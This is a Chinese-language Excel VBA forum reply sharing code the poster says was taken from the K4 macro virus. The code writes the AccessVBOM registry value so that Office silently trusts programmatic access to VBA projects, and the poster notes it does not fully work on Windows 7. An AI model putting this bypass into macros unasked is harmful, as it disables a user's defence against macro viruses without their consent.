|
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用 · 内置多项VBA编程加强工具 ★ 免费下载 ★ ★ 使用手册★
本帖最后由 kangatang 于 2014-5-15 15:00 编辑
Dead丶小峰 发表于 2013-1-9 10:16
你的后缀是xls,还是2003的,10里面要用宏得是xlsm的
楼主,自动勾选的代码,在K4宏毒中是这样的。经测试,结果分2种情况。1)如果是win xp系统+excel 2000~2010均能自动勾选并有效。
2)如果是win 7系统+excel 2010能自动勾选,但明明显示已经勾选了,但和没勾选一样。一定要手工再去勾选一次,才有效果。非常奇怪?报错:"programmatic access to visual basic project is not trusted". 但是检查选项发现已经被自动勾选。
代码如下:
Private Sub allow()
OpenDoor
For each vbcom in thisWorkbook.VBProject.VBComponents
MsgBox vbcom.type
next
End Sub
Function OpenDoor()
Dim Fso, RK1 As String, RK3 As String
Dim KValue1 As Variant
Dim VS As String
'On Error Resume Next
VS = Application.Version
Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
RK1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
'"HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security"
'RK3 = "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\" & VS & "\Excel\Security\AccessVBOM"
KValue1 = 1
Call WReg(RK1, KValue1, "REG_DWORD")
'Call WReg(RK3, KValue1, "REG_DWORD")
End Function
Sub WReg(strkey As String, Value As Variant, ValueType As String)
Dim oWshell
Set oWshell = CreateObject("WScript.Shell")
If ValueType = "" Then
oWshell.RegWrite strkey, Value
Else
oWshell.RegWrite strkey, Value, ValueType
End If
Set oWshell = Nothing
End Sub
|
|